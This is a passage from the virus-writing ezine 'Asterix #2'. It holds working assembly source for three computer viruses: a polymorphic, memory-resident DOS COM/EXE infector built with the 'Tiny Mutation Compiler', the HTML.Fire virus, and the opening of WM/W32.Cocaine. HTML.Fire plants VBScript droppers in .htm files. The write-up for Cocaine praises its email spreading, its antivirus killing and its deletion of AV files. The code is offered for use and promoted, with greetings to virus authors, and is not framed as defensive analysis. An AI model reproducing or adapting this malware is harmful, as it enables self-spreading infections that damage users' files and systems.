BLOCK clean_ofajcI < mov ax, [ bp+1234h ] >RELO save_dsI < mov cx, [ bp+1234h ] >RELO old_ssI < add cx , 10h >I < add cx , ax >I < push cx >I < push word ptr [ bp+1234h ] >RELO old_spI < mov cx, [ bp+1234h ] >RELO old_csI < add cx , 10h >I < add cx , ax >I < push cx >I < push word ptr [ bp+1234h ] >RELO _old_ipI < push ax >I < push word ptr [ bp + 1234h ] >RELO old_max_memI < push ds >I < mov cl , 0 >I < cmp byte ptr [ bp+1234h ], cl >RELO filetype

_JNZ install

I < lea si , [ bp+1234h ] >RELO _old_instI < mov ax, cs :[ si ] >I < mov word ptr cs :[ 100h ], ax >I < mov al , cs :[ si +2] >I < mov byte ptr cs :[ 102h ], al >

JUMP install

BLOCK installI < xor ax , ax >

Page 122: EZine - Asterix #2

MAIN.INC

I < mov ds, ax >I < cmp byte ptr ds :[ 501h ], 10h >

_JZ old_prog

ifndef DEBUGI < mov byte ptr ds :[ 501h ], 10h >endif

I < push es >I < pop ds >

I < mov ax, ds :[ in_mem_ofs ] >I < sub ax , @free >I < mov [ bp+1234h ], ax >RELO ofs_in_memI < mov cx, ds :[ new_vir_size ] >I < mov [ bp+1234h ], cx >RELO vir_sizeI < mov si , @free >I < xor di , di >I < rep movsb >

I < mov cl , 4 >I < shr di , cl >I < inc di >I < mov bx, [ bp+1234h ] >RELO max_memI < sub bx , [ bp+1234h ] >RELO min_memI < sub bx , di >I < dec bx >I < dec bx >I < cmp bx, di >

_JB old_progI < mov ah, 4ah >I < int 21h >

_JC old_progI < mov bx, di >I < mov ah, 48h >I < int 21h >

_JC old_prog

I < dec ax >I < mov es, ax >I < mov word ptr es :[ 1], 8 >I < inc ax >I < mov es, ax >

I < mov cx, [ bp+1234h ] >RELO vir_sizeI < xor si , si >I < xor di , di >I < rep movsb >

I < push es >

I < push word ptr [ bp + 1234h ] >RELO ofs_in_memI < mov al , [ bp + 1234h ] >RELO xor_constI < mov ah, [ bp + 1234h ] >RELO xor_add

Page 123: EZine - Asterix #2

MAIN.INC

I < retf >

BLOCK exitI < mov ax, 4c00h >I < int 21h >

BLOCK @ rndI < push cx >I < in al , 40h >; I < mov al , 0 >I < mov ah, al >I < in al , 40h >; I < mov al , 0 >I < xor ax , es :[ @last_rnd ] >I < mov cl , ah >I < rol ax , cl >I < mov es:[ @last_rnd ], ax >I < pop cx >I < ret >

BLOCK @ rnd_maxI < or bp, bp >

_JZ @ rnd_max_0I < push dx >

CALLL @ rnd; I < mov ax, 1 >I < xor dx , dx >I < div bp >I < xchg ax , dx >I < pop dx >I < ret >

BLOCK @ rnd_max_0I < xor ax , ax >I < ret >

BLOCK read_byteI < mov [ bp + 1234h ], ah >RELO save_ahI < mov ax, si >I < sub ax , bp >I < sub ax , 1234h >RELO src_srcI < mul word ptr [ bp + 1234h ] >RELO xor_addI < add al , [ bp + 1234h ] >RELO xor_constI < xor al , ds :[ si ] >I < mov ah, [ bp + 1234h ] >RELO save_ahI < inc si >I < ret >

BLOCK read_wordCALLL read_byte

I < mov ah, al >CALLL read_byte

I < xchg al , ah >I < ret >

BLOCK old_progI < pop es >

Page 124: EZine - Asterix #2

MAIN.INC

I < mov ah, 49h >I < int 21h >I < pop bx >I < pop ax >I < mov ds, ax >I < mov es, ax >I < mov ah, 4ah >I < int 21h >

I < lea bx , [ bp + 1234h ] >RELO old_entryI < pop ax >I < mov cs:[ bx +1], ax >I < pop ax >I < mov cs:[ bx +3], ax >

I < pop ax >I < pop ss >I < mov sp, ax >

JUMP old_entry

BLOCK old_entryD< db 0EAh, 0, 0, 0, 0 >

;============================ DATA ======================================BLOCK save_ahD< db 0 >BLOCK @ JMPSD< dw START_JMPS >BLOCK xor_constD< db 0 >BLOCK xor_addD< dw 0 >BLOCK filetypeD< db 0 >BLOCK old_instD< db 0c3h , 0, 0 >BLOCK _old_instD< db 0c3h , 0, 0 >BLOCK old_csD< dw - 10h >BLOCK old_ssD< dw - 10h >BLOCK old_ipD< dw 100h >BLOCK _old_ipD< dw 100h >BLOCK old_spD< dw 0fffeh >BLOCK min_memD< dw 1000h >BLOCK old_max_memD< dw 0ffffh >BLOCK max_memD< dw 0 >BLOCK save_dsD< dw 0 >BLOCK vir_sizeD< dw 0 >BLOCK ofs_in_memD< dw 0 >BLOCK src_src

Page 125: EZine - Asterix #2

MAIN.INC

db M_STOP, M_END

;============================ CODE======================================src_vir :BLOCK in_memI < xor bp, bp >I < mov ds, bp >I < mov bx, ds :[ 46Dh] >I < push cs >I < pop ds >I < and bx , 0FFF0h >I < mov ds:[ 1234h ], bx >RELO ticks

CALLL crypt_dataCALLL @ rnd

I < mov ds:[ 1234h ], al >RELO xor_constI < mov ds:[ 1234h ], ah >RELO xor_add

CALLL crypt_dataI < mov ax, 3521h >I < int 21h >I < mov di , 1234h >RELO old21I < mov word ptr ds :[ di ], bx >I < mov word ptr ds :[ di +2], es >I < mov dx, 1234h >RELO int21I < mov ax, 2521h >I < int 21h >

JUMP old_prog

BLOCK crypt_dataI < mov si , 1234h >RELO src_srcI < mov cx, offset src_end - offset src >

JUMP crypt_next_byte

BLOCK crypt_next_byteI < xor ds :[ si ], al >I < inc si >I < add al , ah >I < dec cx >

_JNZ crypt_next_byteI < ret >

include src \ tsr.inc

;============================ DATA ======================================BLOCK text_textD< db 13, 10, 13, 10, 'þ TMC 1.0 by Ender þ' , 13, 10, 'Welcome to the Tiny Mutation Compiler!' , 13, 10, 'Dis is level 6*9.' , 13, 10, 'Greetings to virus makers: Dark Avenger, Vyvojar, SVL, Hell Angel' , 13, 10, 'Personal greetings: K. K., Dark Punisher' , 13, 10, 13, 10 >db M_STOP, M_ENDsrc_end :

Page 126: EZine - Asterix #2

TSR.INC

; INFECT_ONLY_CMM_EXX= 1

BLOCK int21I < cld >

CALLL push_allI < cmp ah, 3ch >

_JZ infect_floppyI < cmp ah, 3dh >

_JZ infect_floppyI < cmp ah, 3eh >

_JZ infect_closeI < cmp ah, 4bh >

_JNZ call_int21JUMP infect_and_call_int21

BLOCK infect_and_call_int21CALLL infectJUMP call_int21

BLOCK call_int21CALLL pop_all

I < jmp dword ptr cs :[ 1234h ] >RELO old21

BLOCK infect_floppyI < mov si , dx >I < lodsb >I < cmp byte ptr ds :[ si ], ':' >

_JNZ no_drive_pressedI < or al , 20h >I < cmp al , 'b' >

_JA call_int21JUMP infect_in_close

BLOCK no_drive_pressedI < push ax >I < mov ah, 19h >I < int 21h >I < cmp al , 1 >I < pop ax >

_JA call_int21JUMP infect_in_close

BLOCK infect_in_closeI < cmp ah, 3ch >

_JNZ infect_and_call_int21I < xor bx , bx >

CALLL check4handle_JNZ call_int21CALLL init_int24

I < mov ah, 60h >I < dec si >I < push cs >I < pop es >I < mov di , 1234h >RELO pathI < int 21h >; _JC no_inf_int24

CALLL pop_allI < pushf >I < call dword ptr cs :[ 1234h ] >RELO old21

Page 127: EZine - Asterix #2

TSR.INC

CALLL push_allI < pushf >I < mov bx, 0FFFFh >I < adc bx , 0 >I < and ax , bx >I < mov cs:[ 1234h ], ax >RELO handle

CALLL deinit_int24I < popf >

CALLL pop_allI < sti >I < retf 2 >

BLOCK infect_closeCALLL check4handle_JC call_int21

I < xor ax , ax >I < mov cs:[ 1234h ], ax >RELO handle

CALLL pop_allI < pushf >I < call dword ptr cs :[ 1234h ] >RELO old21

CALLL push_allI < pushf >I < push cs >I < pop ds >I < mov dx, 1234h >RELO path

CALLL infectI < popf >

CALLL pop_allI < sti >I < retf 2 >

; BX - handle; if CF=1 iny handle alebo ine PSP; if ZF=1 ine PSP alebo BX =HANDLEBLOCK check4handleI < push bx >I < mov ah, 62h >I < int 21h >I < mov di , 1234h >RELO pspI < cmp cs:[ di ], bx >I < mov cs:[ di ], bx >I < mov di , 1234h >RELO handle

_JNZ new_pspI < pop bx >I < mov ax, bx >I < sub ax , word ptr cs :[ di ] >I < add ax , 0FFFFh >I < inc ax >I < ret >

BLOCK new_pspI < mov word ptr cs :[ di ], 0 >I < xor ax , ax >I < pop bx >I < stc >I < ret >

Page 128: EZine - Asterix #2

TSR.INC

BLOCK infectI < push ds >I < pop es >I < mov di , dx >I < mov cx, 67d >I < xor al , al >I < repne scasb >

_JNZ no_infI < lea si , [ di - 5] >I < lodsw >I < or ax , 2020h >I < mov bx, 'mo' >ifdef INFECT_ONLY_CMM_EXXI < mov bx, 'mm' >endifI < cmp ax, 'c.' >

_JZ file_okI < mov bx, 'ex' >ifdef INFECT_ONLY_CMM_EXXI < mov bx, 'xx' >endifI < cmp ax, 'e.' >

_JZ file_okJUMP no_inf

BLOCK file_okI < lodsw >I < or ax , 2020h >I < cmp ax, bx >

_JNZ no_infI < sub si , 4 >

JUMP prepare_str

BLOCK prepare_strI < dec si >I < mov al , [ si ] >I < cmp al , '/' >

_JZ str_startI < cmp al , '\' >

_JZ str_startI < cmp al , ':' >

_JZ str_startI < cmp si , dx >

_JA prepare_strI < dec si >

JUMP str_start

BLOCK str_startI < inc si >I < lodsw >I < or ax , 2020h >I < xor ax , 0AA55h

I < cmp ax, ( 'ci' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( 'on' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( 'ew' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( 'bt' xor 0AA55h) >_JZ no_inf

Page 129: EZine - Asterix #2

TSR.INC

I < cmp ax, ( 'va' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( '-f' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( 'cs' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( 'lc' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( 'oc' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( 'iw' xor 0AA55h) >_JZ no_inf

I < cmp ax, ( 'rk' xor 0AA55h) >_JZ no_inf

CALLL init_int24

I < mov ax, 3d02h >I < pushf >I < call dword ptr cs :[ 1234h ] >RELO old21

_JC no_inf_int24

I < mov bx, ax >

I < xor ax , ax >I < mov ds, ax >I < mov si , ds :[ 46Dh] >

I < push cs >I < push cs >I < pop ds >I < pop es >

I < mov ax, 05700h >I < int 21h >

_JC close

I < mov ds:[ 1234h ], dx >RELO dateI < mov al , cl >I < and al , 00011111b >I < cmp al , 4 >

_JZ close

I < and cl , 11100000b >I < or cl , 4 >I < mov ds:[ 1234h ], cx >RELO time

I < and si , 0FFF0h >I < cmp ds:[ 1234h ], si >RELO ticks

_JZ closeI < mov ds:[ 1234h ], si >RELO ticks

I < mov ah, 3fh >I < mov cx, 18h >I < mov dx, 1234h >RELO exe_header

Page 130: EZine - Asterix #2

TSR.INC

I < mov si , dx >I < int 21h >

_JC close

I < mov ax, 4202h >I < cwd >I < xor cx , cx >I < int 21h >

I < mov word ptr ds :[ 0], 02e8dh >

I < cmp word ptr ds :[ si ], 'ZM' >_JZ exe_infect

I < cmp word ptr ds :[ si ], 'MZ' >_JZ exe_infect

I < mov byte ptr ds :[ 1234h ], cl >RELO filetype

; min 3kb COMfileI < cmp ax, 3000d >

_JB close; max 57kb COMfile

I < cmp ax, 57000d >_JA close

I < push si >I < mov di , 1234h >RELO exe_headerI < mov cl , ds :[ di ] >I < mov byte ptr ds :[ di ], 0E9h >I < inc di >I < mov ds:[ 1234h ], cl >RELO old_instI < mov ds:[ 1234h ], cl >RELO _old_instI < mov cx, ds :[ di ] >I < mov si , 1234h >RELO old_instI < mov ds:[ si + 1], cx >I < sub ax , 3 >I < stosw >

I < mov ax, BAD_CLEAN >I < cmp word ptr ds :[ 1234h ], ax >RELO @ JMPS

_JA no_com_ojebI < mov bp, 16 >

CALLL @ rnd_maxI < sub ax , 8 >I < add cx , ax >

JUMP no_com_ojeb

BLOCK no_com_ojebI < mov si , 1234h >RELO _old_instI < mov ds:[ si + 1], cx >I < pop si >I < mov ax, - 10h >I < mov ds:[ 1234h ], ax >RELO old_csI < mov ds:[ 1234h ], ax >RELO old_ss

Page 131: EZine - Asterix #2

TSR.INC

I < mov ax, 100h >I < mov ds:[ 1234h ], ax >RELO old_ipI < mov ds:[ 1234h ], ax >RELO _old_ipI < mov ax, 0FFFEh >I < mov ds:[ 1234h ], ax >RELO old_spI < inc ax >I < mov ds:[ 1234h ], ax >RELO old_max_memI < mov ax, 1000h >I < mov ds:[ 1234h ], ax >RELO min_mem

I < mov ax, 4202h >I < cwd >I < xor cx , cx >I < int 21h >

I < add ax , 100h >JUMP set_marker

BLOCK set_markerI < mov ds:[ 2], ax >I < mov ah, 40h >I < cwd >I < mov cx, 1234h >RELO in_memI < int 21h >

_JC close

I < mov ax, 4200h >I < cwd >I < xor cx , cx >I < int 21h >

I < mov ah, 40h >I < mov dx, si >I < mov cx, 18h >I < int 21h >

_JC close

I < mov ax, 5701h >I < mov cx, ds :[ 1234h ] >RELO timeI < mov dx, ds :[ 1234h ] >RELO dateI < int 21h >

JUMP close

BLOCK closeI < mov ah, 3eh >I < int 21h >

JUMP no_inf_int24

BLOCK no_inf_int24CALLL deinit_int24JUMP no_inf

BLOCK no_infI < ret >

Page 132: EZine - Asterix #2

TSR.INC

BLOCK exe_infectI < inc cx >I < mov byte ptr ds :[ 1234h ], cl >RELO filetype

; min 10kb EXE fileI < or dx , dx >

_JNZ no_short_exeI < cmp ax, 10000d >

_JB closeJUMP no_short_exe

; max 400kb EXE fileBLOCK no_short_exeI < cmp dx, 400 / 66 >

_JA close

I < push ax >I < push dx >I < mov cx, 200h >I < div cx >I < inc ax >I < cmp [ si + 04h ], ax >I < pop dx >I < pop ax >

_JNZ close

I < push ax >I < push dx >I < xor ax , ax >I < cmp word ptr ds :[ si + 0ch ], 0FFFFh >

_JZ max_mem_FFFF

I < mov ax, [ si + 4] >I < inc ax >I < mov cl , 5 >I < shl ax , cl >I < sub ax , [ si + 8] >

JUMP max_mem_FFFF

BLOCK max_mem_FFFFI < add ax , [ si + 0ch ] >I < mov ds:[ 1234h ], ax >RELO old_max_memI < mov ax, [ si + 0eh ] >I < mov ds:[ 1234h ], ax >RELO old_ssI < mov ax, [ si + 10h ] >I < mov ds:[ 1234h ], ax >RELO old_spI < mov ax, [ si + 14h ] >I < mov ds:[ 1234h ], ax >RELO old_ipI < mov ds:[ 1234h ], ax >RELO _old_ipI < mov ax, [ si + 16h ] >I < mov ds:[ 1234h ], ax >RELO old_cs

I < pop dx >I < pop ax >I < push ax >

Page 133: EZine - Asterix #2

TSR.INC

I < push dx >

I < mov word ptr [ si + 0ch ], 0FFFFh >I < mov word ptr [ si + 10h ], 07ffeh >I < mov word ptr [ si + 14h ], 0 >I < mov cx, 10h >I < div cx >I < sub ax , [ si + 8] >I < inc ax >I < mov [ si + 0eh ], ax >I < mov [ si + 16h ], ax >

I < mov ax, [ si + 04h ] >I < inc ax >I < mov cl , 5 >I < shl ax , cl >I < sub ax , [ si + 8] >I < add ax , [ si + 0ah ] >I < mov di , ax >

I < pop cx >I < pop dx >I < and dx , not 0fh >I < add dx , 10h >I < adc cx , 0 >I < mov ax, 4200h >I < int 21h >I < add ax , 1234h >RELO in_memI < adc dx , 0 >

I < mov cx, 200h >I < div cx >I < mov [ si + 02h ], dx >I < add dx , 0FFFFh >I < adc ax , 0 >I < mov [ si + 04h ], ax >I < mov [ si + 0ah ], 800h >

I < inc ax >I < mov cl , 5 >I < shl ax , cl >I < sub ax , [ si + 8] >I < add ax , [ si + 0ah ] >I < mov word ptr ds :[ 1234h ], ax >RELO min_mem

I < sub di , ax >_JBE write_exeh

I < add [ si + 0ah ], di >JUMP write_exeh

BLOCK write_exehI < mov ax, BAD_CLEAN >I < cmp word ptr ds :[ 1234h ], ax >RELO @ JMPSI < mov ax, 0 >

_JA set_markerI < mov bp, 16 >

CALLL @ rnd_maxI < sub al , 8 >I < mov di , 1234h >

Page 134: EZine - Asterix #2

TSR.INC

RELO _old_ipI < add ds :[ di + 1], al >I < mov word ptr ds :[ 0], 0ed33h >I < mov ax, 09090h >

JUMP set_marker

BLOCK int24I < mov al , 3 >I < iret >

BLOCK init_int24I < push dx >I < push ds >I < push es >I < push cs >I < pop ds >I < mov ax, 3524h >I < int 21h >I < mov ds:[ 1234h ], es >RELO int24_segI < mov ds:[ 1234h ], bx >RELO int24_ofsI < mov dx, 1234h >RELO int24I < mov ax, 2524h >I < int 21h >I < pop es >I < pop ds >I < pop dx >I < ret >

BLOCK deinit_int24I < push ds >I < mov dx, cs :[ 1234h ] >RELO int24_ofsI < mov ds, cs :[ 1234h ] >RELO int24_segI < mov ax, 2524h >I < int 21h >I < pop ds >I < ret >

BLOCK push_allI < pop word ptr cs :[ 1234h ] >RELO exit_adrI < push ax >I < push bx >I < push cx >I < push dx >I < push si >I < push di >I < push bp >I < push ds >I < push es >I < jmp word ptr cs :[ 1234h ]RELO exit_adr

BLOCK pop_allI < pop word ptr cs :[ 1234h ] >RELO exit_adrI < pop es >I < pop ds >

Page 135: EZine - Asterix #2

TSR.INC

I < pop bp >I < pop di >I < pop si >I < pop dx >I < pop cx >I < pop bx >I < pop ax >I < jmp word ptr cs :[ 1234h ]RELO exit_adr

BLOCK old21D< dd 0 >BLOCK int24_segD< dw 0 >BLOCK int24_ofsD< dw 0 >BLOCK exit_adrD< dw 0 >BLOCK exe_headerD< db 18h dup ( 0) >BLOCK ticksD< dw 0 >BLOCK timeD< dw 0 >BLOCK dateD< dw 0 >BLOCK pspD< dw 0 >BLOCK handleD< dw 0 >BLOCK pathD< db 7 dup ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0ah ) >

Page 136: EZine - Asterix #2

MACROS.INC

MAX_CODE_SIZE EQU 10h

M_END EQU 0M_CODE EQU 0E8h ;start of codeM_CALL EQU 0E8hM_JMP EQU 0E9hM_RELO EQU 0EDhM_BLOCK EQU 0EEhM_STOP EQU 0EFh

START_JUMP EQU 0F0h

M_J_COND EQU 0F0hM_JO EQU 0F0hM_JNO EQU 0F1hM_JC EQU 0F2hM_JB EQU 0F2hM_JNAE EQU 0F2hM_JNB EQU 0F3hM_JAE EQU 0F3hM_JZ EQU 0F4hM_JE EQU 0F4hM_JNZ EQU 0F5hM_JNE EQU 0F5hM_JBE EQU 0F6hM_JNA EQU 0F6hM_JNBE EQU 0F7hM_JA EQU 0F7h

M_JS EQU 0F8hM_JNS EQU 0F9hM_JP EQU 0FAhM_JPE EQU 0FAhM_JNP EQU 0FBhM_JPO EQU 0FBhM_JL EQU 0FChM_JNGE EQU 0FChM_JNL EQU 0FDhM_JGE EQU 0FDhM_JLE EQU 0FEhM_JNG EQU 0FEhM_JNLE EQU 0FFhM_JG EQU 0FFh

_JO macro numdb M_JOdw numendm

_JNO macro numdb M_JNOdw numendm

_JC macro numdb M_JCdw numendm

_JB macro numdb M_JBdw num

Page 137: EZine - Asterix #2

MACROS.INC

endm

_JNAE macro numdb M_JNAEdw numendm

_JNB macro numdb M_JNBdw numendm

_JAE macro numdb M_JAEdw numendm

_JZ macro numdb M_JZdw numendm

_JE macro numdb M_JEdw numendm

_JNZ macro numdb M_JNZdw numendm

_JNE macro numdb M_JNEdw numendm

_JBE macro numdb M_JBEdw numendm

_JNA macro numdb M_JNAdw numendm

_JNBE macro numdb M_JNBEdw numendm

_JA macro numdb M_JAdw numendm

_JS macro numdb M_JSdw numendm

Page 138: EZine - Asterix #2

MACROS.INC

_JNS macro numdb M_JNSdw numendm

_JP macro numdb M_JPdw numendm

_JPE macro numdb M_JPEdw numendm

_JNP macro numdb M_JNPdw numendm

_JPO macro numdb M_JPOdw numendm

_JL macro numdb M_JLdw numendm

_JNGE macro numdb M_JNGEdw numendm

_JNL macro numdb M_JNLdw numendm

_JGE macro numdb M_JGEdw numendm

_JLE macro numdb M_JLEdw numendm

_JNG macro numdb M_JNGdw numendm

_JNLE macro numdb M_JNLEdw numendm

_JG macro numdb M_JG

Page 139: EZine - Asterix #2

MACROS.INC

dw numendm

CALLL macro numdb M_CALLdw numendm

JUMP macro numdb M_JMPdw numendm

RELO macro numdb M_RELOdw numendm

BLOCK macro numdb M_STOP, M_BLOCKdw numendm

I macro instlocal end_instdb end_inst - $ - 1inst

end_inst:endm

D macro instlocal end_instdb end_inst - $ - 1 + MAX_CODE_SIZEinst

end_inst:endm

Page 140: EZine - Asterix #2

HTML.Fire is first in the world HTML/DOS hybrid. The virus infects all htm files in current directory. It usesVBScript in HTML (given version works under Internet Explorer 4.0 and above) to convert itself back to DOSexecutable by running debug with hex-dump script in shell. In fact it is a direct action html-infector, that finds .htm files on local disc beeing runned, and places there aVBScript with hexdump to reborn this dropper again.

Download source code of HTML.Fire here

Page 141: EZine - Asterix #2

HTML.Fire.asm

comment *

HTML.FIRE BY ULTRAS/ MATRiX~~~~~~~~~~~~~~~~~~~~~~~~~~

First in the world HTML / DOS hybrid. The virus infects all htm files in currentThe catalogue writes down at the end of a file debug script. The given versionWorks under Internet Explorer 4.0 and above.

*

model tinycodeorg 100start :mov ah, 4emov dx , offset htm_find :int 21jc exitmov ax , 3d02mov dx , 9eint 21jc findnextxchg bx , axmov ax , 5700int 21push cx dxcmp dh, 80jae zarazamov ax , 4202xor cx , cxxor dx , dxint 21mov si , 100mov di , offset end_virusmov cx , end_virus - startpush bxcall @1pop bxcall infectpop dxadd dh, 0c8push dxzaraza :pop dx cxmov ax , 5701int 21mov ah, 3eint 21findnext :mov ah, 4fjmp findexit :mov ax , 4c00int 21@1:push cxlodsbmov bx , axmov cx , 4shr al , cl

Page 142: EZine - Asterix #2

HTML.Fire.asm

push axcall @2stosbpop axshl al , clsub bl , alxchg al , blcall @2stosbmov ax , ' 'stosbpop cxloop @1stosbstosbret@2:cmp al , 0ajae @3add al , '0'ret@3:add al , 'A' - 0aretinfect :mov ah, 40mov dx , offset headerinfmov cx , hendinf - headerinfint 21mov dx , offset end_virusd_loop :push dxcall calcloccall write_parpop dxpush dxmov cx , disub cx , dxcmp cx , 60djb write_dmov cx , 60dwrite_d :mov ah, 40int 21push axmov dx , offset echodestmov cx , evirusf - echodestmov ah, 40int 21pop axpop dxadd dx , axcmp dx , dijae write_zapjmp d_loopwrite_zap :mov ah, 40mov dx , offset zap_virmov cx , end_zap - zap_virint 21mov dx , offset endinfmov cx , end_endinf - endinf

Page 143: EZine - Asterix #2

HTML.Fire.asm

mov ah, 40int 21retvirii db 'FiRe by ULTRAS'write_par :mov cx , enddb - databytejmp short ech_omov cx , 5ech_o :mov dx , offset databytemov ah, 40int 21retcalcloc :push ax bx cx dx si disub dx , offset end_virusmov ax , dxmov cx , 3xor dx , dxdiv cxmov dx , axadd dx , 100mov di , offset hifrmov si , offset loc_xchg dh, dlmov loc_ , dxmov cx , 2call @1mov di , offset buffermov si , offset hifrmovswlodsbmovswpop di si dx cx bx axrethtm_ db '*.htm' , 0zap_vir :db 's.WriteLine "ECHO g >>fire.scr"' , 0dh , 0adb 's.WriteLine "ECHO q >>fire.scr"' , 0dh , 0aend_zap :databyte db 's.WriteLine "ECHO E'buffer db '0100 'enddb :echodest db ' >>'virscr db 'fire.scr"' , 0dh , 0aevirusf :endinf :db 's.WriteLine "debug<fire.scr"' , 0dh , 0adb 's.WriteLine "del fire.scr"' , 0dh , 0adb 's.WriteLine "ctty con"' , 0dh , 0adb 's.Close' , 0dh , 0adb 'a.Run ("ultras.bat")' , 0dh , 0adb '--></script>' , 0dh , 0aend_endinf :headerinf :db 0dh , 0a, '<script Language="VBScript"><!--' , 0dh , 0adb 'Dim a,f,s' , 0dh , 0adb 'Set a = CreateObject("Wscript.Shell")' , 0dh , 0adb 'Set f = CreateObject("Scripting.FileSystemObject") ' , 0dh , 0adb 'Set s = f.CreateTextFile("ultras.bat", 2, False)' , 0dh , 0adb 's.WriteLine "@echo off"' , 0dh , 0adb 's.WriteLine "ctty nul"' , 0dh , 0a

Page 144: EZine - Asterix #2

HTML.Fire.asm

hendinf :loc_ dw 0hifr dw 0, 0, 0, 0end_virus :end start

Page 145: EZine - Asterix #2

This virus is another fine creation by Vecna. What's good on this one? It is one of few multipartite viruses,infecting both PE files and Word documets.Virus is per process resident, with full win32 compatability, even manipulation with PE header under NTworks fine (this is in couple of viruses handled incorrectly). Another good feature is lz/rle compression toreduce its size, well it couple of years ago when first virus with compresion, Cruncher hitted the world, andstill its worthy idea. Polymorphism application in the virus is based on the initial code islands strategy (asused on Commander Bomber or in OneHalf), followed by several poly loops in the PE code, here are calledpoly subroutines with local variables. To make the virus even better, macro stuph is polymorphic too.Identification of the virus is harder for the AVerz due the anti-emulation code usage, some parts areencrypted in memory, virus runs in multiple threads.

There are several ways of spreading the virus - it acts as direct action infector, hooks MAPI calls andattached infected documents or files to emails sended from the affected computer, sends emails to visitedwebpages. Clever on the email spreading strategy is storing of the crc32 of the email to which infectedmessages have been already sent.No virus is perfect without some retro stuph - in this case AVP monitor is forced to say goodbye and verypossitive effect - by deleting AV checksums this virus increases free disk space :)Of course, it has also more advanced features, but to discover them you will have to check the virusyourselves :P

Virus has payload - a message box, which is displayed 8 months after infection. Without this feature couldvirus live forever on the comp, it is not necessary to give the user a hit on virus infection....

Download source code of WM/W32.Cocaine here

Page 146: EZine - Asterix #2

COKE.ASM

;Wm/W32.Cocaine - 22231 bytes;(c) Vecna 1999;;I not in mood to write much, so, check the code an d you will find:;;*full w32 compatibility;*per-process residence(import table/getprocaddress );*direct action spreading;*multipartite pe<->doc;*http background spreading(send email to visited w ww pages);*attach infected documents(or files, if no documen ts) to outgoing messages;*keep addressbook of already sended emails(crc32 o nly);*Commander Bomber/OneHalf infection scheme (island ->island(*8)->poly);*several advanced poly loops in pe files;*poly subroutines with local variables and params;*advanced garbling;*anti-emulation/anti-cryptanalisis internal decrip tion loop;*macro poly made by asm code;*lz/rle compression;*in memory created droppers;*in memory encription(poly routines, macro stuf);*kill avp monitor;*delete av files;*msgbox payload(8 months incubation);*MAPI hooking;*correct checksum in pe header(nt compliant);*memory mapping;*multithread;;does other stuffs...;;Greetz go to Z0MBiE, VirusBuster and Reptile(the f irst to use macro autoload)

.586p

.model flat, STDCALLlocals

include host.inc

ofs equ offsetby equ byte ptrwo equ word ptrdwo equ dword ptr

TRUE EQU 1FALSE EQU 0

MAIL_DEBUG EQU FALSE

DIRECT EQU TRUE

MONTH_DELAY EQU 8

MAX_BRANCH EQU 8 ;beware DrWeb! (5 here=detect!)

MAX_M_DEEP EQU 6

MAIL_PRIORITY EQU 10 ;seconds

MAX_SOCK EQU 10

DIV_VALUE EQU 101

Page 147: EZine - Asterix #2

COKE.ASM

MAX_PATH EQU 260

MIN_RAW EQU ( MAX_BRANCH+1)* 100h

vsize equ vend - vcode

msize equ mend - vcode

_VSEG segment dword use32 public 'COCAINE'

vcode label

db '(c) Vecna' , 0

FunDate db 0 ;month to activate

InitWSOCK proccall @@1

wsock32 db 'WSOCK32.DLL' , 0@@1:

call [ ebp+( ofs _GetModuleHandle - ofs vcode )]test eax , eaxjz @@0call @@2db 'connect' , 0

@@2:push eaxcall @@3db 'recv' , 0

@@3:push eaxcall [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ ebp+( ofs _recv - ofs vcode )], eaxcall [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ ebp+( ofs _connect - ofs vcode )], eaxclcret

@@0:stcret

InitWSOCK endp

http_install procsub ecx , ecxcall @@set_sehmov esp , [ esp +8]call deltajmp @@fault

@@set_seh:push dwo fs :[ ecx ]mov fs :[ ecx ], espcall InitWSOCKjc @@faultmov ebx , [ ebp+( ofs _base - ofs vcode )]

@@check:cmp wo [ ebx ], 'ZM'je @@found

@@fault :sub ecx , ecxpop dwo fs :[ ecx ]pop ecx

Page 148: EZine - Asterix #2

COKE.ASM

ret@@found:

mov edi , [ ebx +3ch ]lea edi , [ ebx +edi +128 ]mov edi , [ edi ]

@@2:mov esi , [ ebx +edi +12]test esi , esijz @@retadd esi , ebxlodsdor eax , 20202020hcmp eax , 'cosw'je @@wsockadd edi , 20jmp @@2

@@wsock:mov esi , [ ebx +edi +16]add esi , ebx

@@searchloop :lodsdtest eax , eaxjz @@retcmp eax , [ ebp+( ofs _connect - ofs vcode )]jne @@3lea eax , [ ebp+( ofs New_connect - ofs vcode )]lea edi , [ esi - 4]mov ecx , 4push esipush eaxmov esi , esp ;fake buffer in stackcall WriteMempop esipop esi

@@3:cmp eax , [ ebp+( ofs _recv - ofs vcode )]jne @@searchlooplea eax , [ ebp+( ofs New_recv - ofs vcode )]lea edi , [ esi - 4]mov ecx , 4push esipush eaxmov esi , esp ;fake buffer in stackcall WriteMempop esipop esi

@@ret:jmp @@fault

http_install endp

NewGetProcAddress procpush esppushadcall deltamov eax , [ ebp+( ofs _GetProcAddress - ofs vcode )]mov [ esp +( 7* 4)+ 4], eaxcall InitWSOCKjc @@1lea eax , [ ebp+( ofs wsock32 - ofs vcode )]push eaxcall [ ebp+( ofs _GetModuleHandle - ofs vcode )]test eax , eax

Page 149: EZine - Asterix #2

COKE.ASM

jz @@1cmp [ esp +( 7* 4)+ 12], eaxjnz @@1lea eax , [ ebp+( ofs CheckWSOCK32- ofs vcode )]xchg [ esp +( 7* 4)+ 8], eaxmov [ ebp+( ofs wsock_ret - ofs vcode )], eax

@@1:popadret

NewGetProcAddress endp

CheckWSOCK32procpush ebpcall deltacmp eax , [ ebp+( ofs _connect - ofs vcode )]jne @@1lea eax , [ ebp+( ofs New_connect - ofs vcode )]jmp @@2

@@1:cmp eax , [ ebp+( ofs _recv - ofs vcode )]jne @@2lea eax , [ ebp+( ofs New_recv - ofs vcode )]

@@2:pop ebppush 12345678h

wsock_ret equ dwo $- 4ret

CheckWSOCK32endp

